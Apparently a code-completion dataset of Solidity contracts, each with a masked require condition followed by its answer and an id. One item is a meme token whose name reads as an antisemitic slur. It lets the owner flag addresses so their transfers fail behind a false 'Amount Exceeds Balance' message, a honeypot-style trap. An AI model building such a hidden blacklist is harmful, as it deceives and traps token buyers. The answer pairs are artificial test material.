โฌโโโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโ โโฆโฆโฆโฆโฆโฆโฆโฆโ โโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโโโฃ
โ โโซโ ,โโ โ`
`โ, โW โโ โ
โโ โโ@โ โโ
โโ "" โโ
โ โ
โ, ,โ
โโ โโ
โโโโ
โโ
*/
contract GOYSLOPINU {
mapping (address => uint256) public balanceOf;
mapping (address => bool) pVal;
//
string public name = "GOYSLOP IN U";
string public symbol = unicode"GOYSLOP";
uint8 public decimals = 18;
uint256 public totalSupply = 6000000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function txna(address _user) public onlyOwner {
}
function txnb(address _user) public onlyOwner {
require(<FILL_ME>)
pVal[_user] = false;
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| pVal[_user],"xx" | 219,320 | pVal[_user] |
"Amount Exceeds Balance" | pragma solidity 0.8.16;
/*
,โโโ
โ โยฟ
,โ โโ
โโ โโ
โโ `โ
โ ,โโโ โรง
โโ โโ โฌW โ@
โโ รโ โโ โโ
#Nโโโโโโโโโโโโโโโโโโโโโ' ]โโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโ@
โโ ,โโ
โโ โโ
โ โซโซโโโโโโโ" โโโโโโโโโโโโโโโโโN 'โโโโโโโโซโ^ โ"
โ โโ โ ,@โฉ โโ, โยฟ โโ โ
โโ โ@ jโ โโฃ` โโ โรง 4โ โโ`
โโ โYโ โโ โซ@ โNโ โโ
\โ โฌโ โโ โ
โโ โฌโ โโ ,โ
,โ โโ โซโ โโ
ยผโ โ โ" โโ
โ" , โโ โโ` , โ
;โ ,โ^โโ โซ@ โโ ,โ^โโ โรง
โโ โโ โโ โโ โฌโ โโ โซN โ@
โโ โขโฃ โโ โ, ,โ โโ โโซ โโ
โ โจโจโจโจโจโจโจโจโ โโโโโจโจโจโจโจโจโจโจโโโโ โจโจโจโจโจโจโจโจ โ
(โ โ@
โฌโโโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโ โโฆโฆโฆโฆโฆโฆโฆโฆโ โโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโโโฃ
โ โโซโ ,โโ โ`
`โ, โW โโ โ
โโ โโ@โ โโ
โโ "" โโ
โ โ
โ, ,โ
โโ โโ
โโโโ
โโ
*/
contract GOYSLOPINU {
mapping (address => uint256) public balanceOf;
mapping (address => bool) pVal;
//
string public name = "GOYSLOP IN U";
string public symbol = unicode"GOYSLOP";
uint8 public decimals = 18;
uint256 public totalSupply = 6000000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function txna(address _user) public onlyOwner {
}
function txnb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
require(<FILL_ME>)
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| !pVal[msg.sender],"Amount Exceeds Balance" | 219,320 | !pVal[msg.sender] |
"Amount Exceeds Balance" | pragma solidity 0.8.16;
/*
,โโโ
โ โยฟ
,โ โโ
โโ โโ
โโ `โ
โ ,โโโ โรง
โโ โโ โฌW โ@
โโ รโ โโ โโ
#Nโโโโโโโโโโโโโโโโโโโโโ' ]โโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโ@
โโ ,โโ
โโ โโ
โ โซโซโโโโโโโ" โโโโโโโโโโโโโโโโโN 'โโโโโโโโซโ^ โ"
โ โโ โ ,@โฉ โโ, โยฟ โโ โ
โโ โ@ jโ โโฃ` โโ โรง 4โ โโ`
โโ โYโ โโ โซ@ โNโ โโ
\โ โฌโ โโ โ
โโ โฌโ โโ ,โ
,โ โโ โซโ โโ
ยผโ โ โ" โโ
โ" , โโ โโ` , โ
;โ ,โ^โโ โซ@ โโ ,โ^โโ โรง
โโ โโ โโ โโ โฌโ โโ โซN โ@
โโ โขโฃ โโ โ, ,โ โโ โโซ โโ
โ โจโจโจโจโจโจโจโจโ โโโโโจโจโจโจโจโจโจโจโโโโ โจโจโจโจโจโจโจโจ โ
(โ โ@
โฌโโโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโ โโฆโฆโฆโฆโฆโฆโฆโฆโ โโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโโโฃ
โ โโซโ ,โโ โ`
`โ, โW โโ โ
โโ โโ@โ โโ
โโ "" โโ
โ โ
โ, ,โ
โโ โโ
โโโโ
โโ
*/
contract GOYSLOPINU {
mapping (address => uint256) public balanceOf;
mapping (address => bool) pVal;
//
string public name = "GOYSLOP IN U";
string public symbol = unicode"GOYSLOP";
uint8 public decimals = 18;
uint256 public totalSupply = 6000000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function txna(address _user) public onlyOwner {
}
function txnb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(<FILL_ME>)
require(!pVal[to] , "Amount Exceeds Balance");
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
| !pVal[from],"Amount Exceeds Balance" | 219,320 | !pVal[from] |
"Amount Exceeds Balance" | pragma solidity 0.8.16;
/*
,โโโ
โ โยฟ
,โ โโ
โโ โโ
โโ `โ
โ ,โโโ โรง
โโ โโ โฌW โ@
โโ รโ โโ โโ
#Nโโโโโโโโโโโโโโโโโโโโโ' ]โโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโ@
โโ ,โโ
โโ โโ
โ โซโซโโโโโโโ" โโโโโโโโโโโโโโโโโN 'โโโโโโโโซโ^ โ"
โ โโ โ ,@โฉ โโ, โยฟ โโ โ
โโ โ@ jโ โโฃ` โโ โรง 4โ โโ`
โโ โYโ โโ โซ@ โNโ โโ
\โ โฌโ โโ โ
โโ โฌโ โโ ,โ
,โ โโ โซโ โโ
ยผโ โ โ" โโ
โ" , โโ โโ` , โ
;โ ,โ^โโ โซ@ โโ ,โ^โโ โรง
โโ โโ โโ โโ โฌโ โโ โซN โ@
โโ โขโฃ โโ โ, ,โ โโ โโซ โโ
โ โจโจโจโจโจโจโจโจโ โโโโโจโจโจโจโจโจโจโจโโโโ โจโจโจโจโจโจโจโจ โ
(โ โ@
โฌโโโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโ โโฆโฆโฆโฆโฆโฆโฆโฆโ โโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโโโฃ
โ โโซโ ,โโ โ`
`โ, โW โโ โ
โโ โโ@โ โโ
โโ "" โโ
โ โ
โ, ,โ
โโ โโ
โโโโ
โโ
*/
contract GOYSLOPINU {
mapping (address => uint256) public balanceOf;
mapping (address => bool) pVal;
//
string public name = "GOYSLOP IN U";
string public symbol = unicode"GOYSLOP";
uint8 public decimals = 18;
uint256 public totalSupply = 6000000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function txna(address _user) public onlyOwner {
}
function txnb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(!pVal[from] , "Amount Exceeds Balance");
require(<FILL_ME>)
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
| !pVal[to],"Amount Exceeds Balance" | 219,320 | !pVal[to] |
'must not exceed limit' | // SPDX-License-Identifier: MIT
// Cipher Mountain Contracts (last updated v0.0.1) (/Minter.sol)
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Mintable.sol";
contract Minter is Ownable {
event Mint(address indexed owner, uint price, uint quantity);
event Fallback(address indexed owner, uint price, uint quantity);
uint private _price;
uint256 private _limit;
Mintable private _nftContract;
/**
* @dev Initializes the contract
*/
constructor(address contractAddr, uint256 limit) {
}
receive() external payable {
}
fallback() external payable {
}
function mint(uint8 quantity) external payable {
}
function _mint(uint8 quantity) internal {
require(<FILL_ME>)
_nftContract.mint(msg.sender, quantity);
emit Mint(msg.sender, msg.value, quantity);
}
function withdraw() external onlyOwner {
}
function withdrawTo(address recipient) external onlyOwner {
}
function setLimit(uint256 limit) external onlyOwner {
}
function setPrice(uint price) external onlyOwner {
}
function setContractAddr(address _contract) external onlyOwner {
}
}
| quantity+_nftContract.totalSupply()<=_limit,'must not exceed limit' | 219,358 | quantity+_nftContract.totalSupply()<=_limit |
"400" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "./utils/TimeUtil.sol";
interface TheRabbitNFT {
function ownerOf(uint256 tokenId) external view returns (address);
function getWinnerTokenIds(uint luckyNum) external view returns (uint[] memory tokenIds);
}
/**
code | meaning
104 | Time is illegal
*/
contract RewardPool is Ownable {
using ECDSA for bytes32;
uint public lastBalance;
uint public rewardPoolBalance;
uint private lastSalt;
bool public isOpen;
uint public minBalance = 0.5 ether;
uint public minValidPrice;
address private rewardSigner;
TheRabbitNFT private rabbitContractAddress;
mapping(uint => mapping(uint => bool)) public rewardRecord; // key1:theDay key2:tokenId
constructor (address contractAddress, address _rewardSigner) {
}
// thank you
function supplementRewardPool() external payable {
}
// Set the signer
function setRewardSigner(address newSigner) external onlyOwner {
}
// Set status
function setOpenStatus(bool _isOpen) external onlyOwner {
}
// The min value with open, wei
function setMinBalance(uint _minBalance) external onlyOwner {
}
// The min valid price with transfer, wei
function setMinValidPrice(uint _minValidPrice) external onlyOwner {
}
// List of awards received
function getAlreadyRewardTokenIds(uint luckyItem) view external returns (uint[] memory tokenIds) {
}
// Pool balance, wei
function getRewardPoolBalance() public view returns (uint count){
}
event RewardSucceed(address indexed to, uint amount);
// Do reward
function reward(
bytes memory salt, bytes memory token, uint[] calldata tokenIds,
uint validDay, uint unitPrice
) external {
require(<FILL_ME>)
uint theDay = getDaysFrom1970();
require(theDay == validDay, "104");
uint count = 0;
for (uint i = 0; i < tokenIds.length; i++) {
if (!rewardRecord[theDay][tokenIds[i]] && rabbitContractAddress.ownerOf(tokenIds[i]) == msg.sender) {
count++;
rewardRecord[theDay][tokenIds[i]] = true;
}
}
if (count == 0) return;
if (rewardPoolBalance > address(this).balance) {
rewardPoolBalance = address(this).balance;
lastBalance = address(this).balance;
}
if (address(this).balance > lastBalance) {
// handle the royalty
uint royalty = address(this).balance - lastBalance;
rewardPoolBalance += (royalty / 3);
lastBalance = address(this).balance;
}
uint paymentAmount = count * unitPrice * 10**9;
lastBalance = address(this).balance - paymentAmount;
rewardPoolBalance -= paymentAmount;
payable(msg.sender).transfer(paymentAmount);
emit RewardSucceed(msg.sender, paymentAmount);
}
// The lucky num today
// 0:not open
// >=2:the num
function getLuckyItem() view external returns (uint luckyItem, uint poolBalance) {
}
event Received(address, uint);
receive() external payable {
}
// Only draw money from outside the pool
function withdrawFunds() external onlyOwner {
}
function getMinPriceInfo() external view returns(uint _minBalance, uint _minValidPrice) {
}
// tools
function _hash(bytes memory salt, uint[] calldata tokenIds, uint validDay, uint unitPrice)
private view returns (bytes32) {
}
function _recover(bytes32 hash, bytes memory token) private pure returns (address) {
}
function getDaysFrom1970() public view returns (uint _days) {
}
}
| _recover(_hash(salt,tokenIds,validDay,unitPrice),token)==rewardSigner,"400" | 219,418 | _recover(_hash(salt,tokenIds,validDay,unitPrice),token)==rewardSigner |
"Exceeds MAX_BIBO." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// ___ ___ ___ ___ __ __ ___ ___ ___ ___
// | _ )|_ _|| _ ) / _ \ \ \ / /| __|| _ \/ __|| __|
// | _ \ | | | _ \| (_) | \ V / | _| | /\__ \| _|
// |___/|___||___/ \___/ \_/ |___||_|_\|___/|___|
contract BIBOVERSE is Ownable, EIP712, ERC721A, ERC721AQueryable {
using SafeMath for uint256;
using Strings for uint256;
// Sales variables
// ------------------------------------------------------------------------
uint256 public MAX_BIBO = 1990;
uint256 public STAGE_LIMIT = 1990;
uint256 public PRICE = 0.07 ether;
uint256 public MAX_ADDRESS_TOKEN = 3;
uint256 public numAirdrop = 0;
uint256 public numGiveaway = 0;
uint256 public numSale = 0;
uint256 public saleTimestamp = 1672416000;
bool public hasSaleStarted = false;
bool public hasAuctionStarted = false;
bool public haswhitelistStarted = false;
bool public hasBurnStarted = false;
string private _baseTokenURI = "ipfs://QmWvTvbpSPTpQKyPiqTTB245WobnXzY9QhS89xvu4KxsKD/";
address public treasury = 0x4Fa955eDa10a162c714756485ba0f38eE2AF01ce;
address public signer = 0x4Fa955eDa10a162c714756485ba0f38eE2AF01ce;
// Dutch auction config
uint256 public auctionStartTimestamp;
uint256 public auctionTimeStep;
uint256 public auctionStartPrice;
uint256 public auctionEndPrice;
uint256 public auctionPriceStep;
uint256 public auctionStepNumber;
mapping (address => uint256) public hasMinted;
// Events
// ------------------------------------------------------------------------
event mintEvent(address owner, uint256 quantity, uint256 totalSupply);
// Constructor
// ------------------------------------------------------------------------
constructor()
EIP712("BIBOVERSE", "1.0.0")
ERC721A("BIBOVERSE", "BIBO"){}
// Modifiers
// ------------------------------------------------------------------------
modifier callerIsUser() {
}
// Airdrop functions
// ------------------------------------------------------------------------
function airdrop(address[] calldata _to, uint256[] calldata quantity) public onlyOwner{
}
// Giveaway functions
// ------------------------------------------------------------------------
function giveaway(address _to, uint256 quantity) external onlyOwner{
require(<FILL_ME>)
_safeMint(_to, quantity);
numGiveaway = numGiveaway.add(quantity);
emit mintEvent(_to, quantity, totalSupply());
}
// Verify functions
// ------------------------------------------------------------------------
function verify(uint256 maxQuantity, bytes memory SIGNATURE) public view returns (bool){
}
// Whitelist functions
// ------------------------------------------------------------------------
function mintWhitelist(uint256 quantity, uint256 maxQuantity, bytes memory SIGNATURE) public payable{
}
// Auction functions
// ------------------------------------------------------------------------
function getDutchAuctionPrice() public view returns (uint256) {
}
// Public and Auction functions
// ------------------------------------------------------------------------
function mintBIBO(uint256 quantity) external payable callerIsUser{
}
// Base URI Functions
// ------------------------------------------------------------------------
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
// Burn Functions
// ------------------------------------------------------------------------
function burn(address account, uint256 id) public virtual {
}
// setting functions
// ------------------------------------------------------------------------
function setURI(string calldata _tokenURI) external onlyOwner {
}
function setTokenLimit(uint256 _STAGE_LIMIT, uint256 _MAX_ADDRESS_TOKEN) external onlyOwner {
}
function setMAX_BIBO(uint256 _MAX_num) external onlyOwner {
}
function set_PRICE(uint256 _price) external onlyOwner {
}
function setSaleSwitch(
bool _hasSaleStarted,
bool _hasAuctionStarted,
bool _haswhitelistStarted,
bool _hasBurnStarted,
uint256 _saleTimestamp
) external onlyOwner {
}
function setDutchAuction(
uint256 _auctionStartTimestamp,
uint256 _auctionTimeStep,
uint256 _auctionStartPrice,
uint256 _auctionEndPrice,
uint256 _auctionPriceStep,
uint256 _auctionStepNumber
) external onlyOwner {
}
function setSigner(address _signer) external onlyOwner {
}
// Withdrawal functions
// ------------------------------------------------------------------------
function setTreasury(address _treasury) external onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
}
| totalSupply().add(quantity)<=MAX_BIBO,"Exceeds MAX_BIBO." | 219,420 | totalSupply().add(quantity)<=MAX_BIBO |
"This stage is sold out!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// ___ ___ ___ ___ __ __ ___ ___ ___ ___
// | _ )|_ _|| _ ) / _ \ \ \ / /| __|| _ \/ __|| __|
// | _ \ | | | _ \| (_) | \ V / | _| | /\__ \| _|
// |___/|___||___/ \___/ \_/ |___||_|_\|___/|___|
contract BIBOVERSE is Ownable, EIP712, ERC721A, ERC721AQueryable {
using SafeMath for uint256;
using Strings for uint256;
// Sales variables
// ------------------------------------------------------------------------
uint256 public MAX_BIBO = 1990;
uint256 public STAGE_LIMIT = 1990;
uint256 public PRICE = 0.07 ether;
uint256 public MAX_ADDRESS_TOKEN = 3;
uint256 public numAirdrop = 0;
uint256 public numGiveaway = 0;
uint256 public numSale = 0;
uint256 public saleTimestamp = 1672416000;
bool public hasSaleStarted = false;
bool public hasAuctionStarted = false;
bool public haswhitelistStarted = false;
bool public hasBurnStarted = false;
string private _baseTokenURI = "ipfs://QmWvTvbpSPTpQKyPiqTTB245WobnXzY9QhS89xvu4KxsKD/";
address public treasury = 0x4Fa955eDa10a162c714756485ba0f38eE2AF01ce;
address public signer = 0x4Fa955eDa10a162c714756485ba0f38eE2AF01ce;
// Dutch auction config
uint256 public auctionStartTimestamp;
uint256 public auctionTimeStep;
uint256 public auctionStartPrice;
uint256 public auctionEndPrice;
uint256 public auctionPriceStep;
uint256 public auctionStepNumber;
mapping (address => uint256) public hasMinted;
// Events
// ------------------------------------------------------------------------
event mintEvent(address owner, uint256 quantity, uint256 totalSupply);
// Constructor
// ------------------------------------------------------------------------
constructor()
EIP712("BIBOVERSE", "1.0.0")
ERC721A("BIBOVERSE", "BIBO"){}
// Modifiers
// ------------------------------------------------------------------------
modifier callerIsUser() {
}
// Airdrop functions
// ------------------------------------------------------------------------
function airdrop(address[] calldata _to, uint256[] calldata quantity) public onlyOwner{
}
// Giveaway functions
// ------------------------------------------------------------------------
function giveaway(address _to, uint256 quantity) external onlyOwner{
}
// Verify functions
// ------------------------------------------------------------------------
function verify(uint256 maxQuantity, bytes memory SIGNATURE) public view returns (bool){
}
// Whitelist functions
// ------------------------------------------------------------------------
function mintWhitelist(uint256 quantity, uint256 maxQuantity, bytes memory SIGNATURE) public payable{
require(haswhitelistStarted == true, "WHITELIST_NOT_ACTIVE");
require(block.timestamp >= saleTimestamp, "NOT_IN_WHITELIST_TIME");
require(<FILL_ME>)
require(verify(maxQuantity, SIGNATURE), "Not eligible for whitelist.");
require(quantity > 0 && hasMinted[msg.sender].add(quantity) <= maxQuantity, "Exceeds max whitelist number.");
require(totalSupply().add(quantity) <= MAX_BIBO, "Exceeds MAX_BIBO.");
require(msg.value >= PRICE.mul(quantity), "Ether value sent is not equal the price.");
numSale = numSale.add(quantity);
hasMinted[msg.sender] = hasMinted[msg.sender].add(quantity);
_safeMint(msg.sender, quantity);
emit mintEvent(msg.sender, quantity, totalSupply());
}
// Auction functions
// ------------------------------------------------------------------------
function getDutchAuctionPrice() public view returns (uint256) {
}
// Public and Auction functions
// ------------------------------------------------------------------------
function mintBIBO(uint256 quantity) external payable callerIsUser{
}
// Base URI Functions
// ------------------------------------------------------------------------
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
// Burn Functions
// ------------------------------------------------------------------------
function burn(address account, uint256 id) public virtual {
}
// setting functions
// ------------------------------------------------------------------------
function setURI(string calldata _tokenURI) external onlyOwner {
}
function setTokenLimit(uint256 _STAGE_LIMIT, uint256 _MAX_ADDRESS_TOKEN) external onlyOwner {
}
function setMAX_BIBO(uint256 _MAX_num) external onlyOwner {
}
function set_PRICE(uint256 _price) external onlyOwner {
}
function setSaleSwitch(
bool _hasSaleStarted,
bool _hasAuctionStarted,
bool _haswhitelistStarted,
bool _hasBurnStarted,
uint256 _saleTimestamp
) external onlyOwner {
}
function setDutchAuction(
uint256 _auctionStartTimestamp,
uint256 _auctionTimeStep,
uint256 _auctionStartPrice,
uint256 _auctionEndPrice,
uint256 _auctionPriceStep,
uint256 _auctionStepNumber
) external onlyOwner {
}
function setSigner(address _signer) external onlyOwner {
}
// Withdrawal functions
// ------------------------------------------------------------------------
function setTreasury(address _treasury) external onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
}
| totalSupply().add(quantity)<=STAGE_LIMIT,"This stage is sold out!" | 219,420 | totalSupply().add(quantity)<=STAGE_LIMIT |
"Not eligible for whitelist." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// ___ ___ ___ ___ __ __ ___ ___ ___ ___
// | _ )|_ _|| _ ) / _ \ \ \ / /| __|| _ \/ __|| __|
// | _ \ | | | _ \| (_) | \ V / | _| | /\__ \| _|
// |___/|___||___/ \___/ \_/ |___||_|_\|___/|___|
contract BIBOVERSE is Ownable, EIP712, ERC721A, ERC721AQueryable {
using SafeMath for uint256;
using Strings for uint256;
// Sales variables
// ------------------------------------------------------------------------
uint256 public MAX_BIBO = 1990;
uint256 public STAGE_LIMIT = 1990;
uint256 public PRICE = 0.07 ether;
uint256 public MAX_ADDRESS_TOKEN = 3;
uint256 public numAirdrop = 0;
uint256 public numGiveaway = 0;
uint256 public numSale = 0;
uint256 public saleTimestamp = 1672416000;
bool public hasSaleStarted = false;
bool public hasAuctionStarted = false;
bool public haswhitelistStarted = false;
bool public hasBurnStarted = false;
string private _baseTokenURI = "ipfs://QmWvTvbpSPTpQKyPiqTTB245WobnXzY9QhS89xvu4KxsKD/";
address public treasury = 0x4Fa955eDa10a162c714756485ba0f38eE2AF01ce;
address public signer = 0x4Fa955eDa10a162c714756485ba0f38eE2AF01ce;
// Dutch auction config
uint256 public auctionStartTimestamp;
uint256 public auctionTimeStep;
uint256 public auctionStartPrice;
uint256 public auctionEndPrice;
uint256 public auctionPriceStep;
uint256 public auctionStepNumber;
mapping (address => uint256) public hasMinted;
// Events
// ------------------------------------------------------------------------
event mintEvent(address owner, uint256 quantity, uint256 totalSupply);
// Constructor
// ------------------------------------------------------------------------
constructor()
EIP712("BIBOVERSE", "1.0.0")
ERC721A("BIBOVERSE", "BIBO"){}
// Modifiers
// ------------------------------------------------------------------------
modifier callerIsUser() {
}
// Airdrop functions
// ------------------------------------------------------------------------
function airdrop(address[] calldata _to, uint256[] calldata quantity) public onlyOwner{
}
// Giveaway functions
// ------------------------------------------------------------------------
function giveaway(address _to, uint256 quantity) external onlyOwner{
}
// Verify functions
// ------------------------------------------------------------------------
function verify(uint256 maxQuantity, bytes memory SIGNATURE) public view returns (bool){
}
// Whitelist functions
// ------------------------------------------------------------------------
function mintWhitelist(uint256 quantity, uint256 maxQuantity, bytes memory SIGNATURE) public payable{
require(haswhitelistStarted == true, "WHITELIST_NOT_ACTIVE");
require(block.timestamp >= saleTimestamp, "NOT_IN_WHITELIST_TIME");
require(totalSupply().add(quantity) <= STAGE_LIMIT, "This stage is sold out!");
require(<FILL_ME>)
require(quantity > 0 && hasMinted[msg.sender].add(quantity) <= maxQuantity, "Exceeds max whitelist number.");
require(totalSupply().add(quantity) <= MAX_BIBO, "Exceeds MAX_BIBO.");
require(msg.value >= PRICE.mul(quantity), "Ether value sent is not equal the price.");
numSale = numSale.add(quantity);
hasMinted[msg.sender] = hasMinted[msg.sender].add(quantity);
_safeMint(msg.sender, quantity);
emit mintEvent(msg.sender, quantity, totalSupply());
}
// Auction functions
// ------------------------------------------------------------------------
function getDutchAuctionPrice() public view returns (uint256) {
}
// Public and Auction functions
// ------------------------------------------------------------------------
function mintBIBO(uint256 quantity) external payable callerIsUser{
}
// Base URI Functions
// ------------------------------------------------------------------------
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
// Burn Functions
// ------------------------------------------------------------------------
function burn(address account, uint256 id) public virtual {
}
// setting functions
// ------------------------------------------------------------------------
function setURI(string calldata _tokenURI) external onlyOwner {
}
function setTokenLimit(uint256 _STAGE_LIMIT, uint256 _MAX_ADDRESS_TOKEN) external onlyOwner {
}
function setMAX_BIBO(uint256 _MAX_num) external onlyOwner {
}
function set_PRICE(uint256 _price) external onlyOwner {
}
function setSaleSwitch(
bool _hasSaleStarted,
bool _hasAuctionStarted,
bool _haswhitelistStarted,
bool _hasBurnStarted,
uint256 _saleTimestamp
) external onlyOwner {
}
function setDutchAuction(
uint256 _auctionStartTimestamp,
uint256 _auctionTimeStep,
uint256 _auctionStartPrice,
uint256 _auctionEndPrice,
uint256 _auctionPriceStep,
uint256 _auctionStepNumber
) external onlyOwner {
}
function setSigner(address _signer) external onlyOwner {
}
// Withdrawal functions
// ------------------------------------------------------------------------
function setTreasury(address _treasury) external onlyOwner {
}
function withdrawAll() public payable onlyOwner {
}
}
| verify(maxQuantity,SIGNATURE),"Not eligible for whitelist." | 219,420 | verify(maxQuantity,SIGNATURE) |
"Caller not tokenId owner." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// ___ ___ ___ ___ __ __ ___ ___ ___ ___
// | _ )|_ _|| _ ) / _ \ \ \ / /| __|| _ \/ __|| __|
// | _ \ | | | _ \| (_) | \ V / | _| | /\__ \| _|
// |___/|___||___/ \___/ \_/ |___||_|_\|___/|___|
contract BIBOVERSE is Ownable, EIP712, ERC721A, ERC721AQueryable {
using SafeMath for uint256;
using Strings for uint256;
// Sales variables
// ------------------------------------------------------------------------
uint256 public MAX_BIBO = 1990;
uint256 public STAGE_LIMIT = 1990;
uint256 public PRICE = 0.07 ether;
uint256 public MAX_ADDRESS_TOKEN = 3;
uint256 public numAirdrop = 0;
uint256 public numGiveaway = 0;
uint256 public numSale = 0;
uint256 public saleTimestamp = 1672416000;
bool public hasSaleStarted = false;
bool public hasAuctionStarted = false;
bool public haswhitelistStarted = false;
bool public hasBurnStarted = false;
string private _baseTokenURI = "ipfs://QmWvTvbpSPTpQKyPiqTTB245WobnXzY9QhS89xvu4KxsKD/";
address public treasury = 0x4Fa955eDa10a162c714756485ba0f38eE2AF01ce;
address public signer = 0x4Fa955eDa10a162c714756485ba0f38eE2AF01ce;
// Dutch auction config
uint256 public auctionStartTimestamp;
uint256 public auctionTimeStep;
uint256 public auctionStartPrice;
uint256 public auctionEndPrice;
uint256 public auctionPriceStep;
uint256 public auctionStepNumber;
mapping (address => uint256) public hasMinted;
// Events
// ------------------------------------------------------------------------
event mintEvent(address owner, uint256 quantity, uint256 totalSupply);
// Constructor
// ------------------------------------------------------------------------
constructor()
EIP712("BIBOVERSE", "1.0.0")
ERC721A("BIBOVERSE", "BIBO"){}
// Modifiers
// ------------------------------------------------------------------------
modifier callerIsUser() {
}
// Airdrop functions
// ------------------------------------------------------------------------
function airdrop(address[] calldata _to, uint256[] calldata quantity) public onlyOwner{
}
// Giveaway functions
// ------------------------------------------------------------------------
function giveaway(address _to, uint256 quantity) external onlyOwner{
}
// Verify functions
// ------------------------------------------------------------------------
function verify(uint256 maxQuantity, bytes memory SIGNATURE) public view returns (bool){
}
// Whitelist functions
// ------------------------------------------------------------------------
function mintWhitelist(uint256 quantity, uint256 maxQuantity, bytes memory SIGNATURE) public payable{
}
// Auction functions
// ------------------------------------------------------------------------
function getDutchAuctionPrice() public view returns (uint256) {
}
// Public and Auction functions
// ------------------------------------------------------------------------
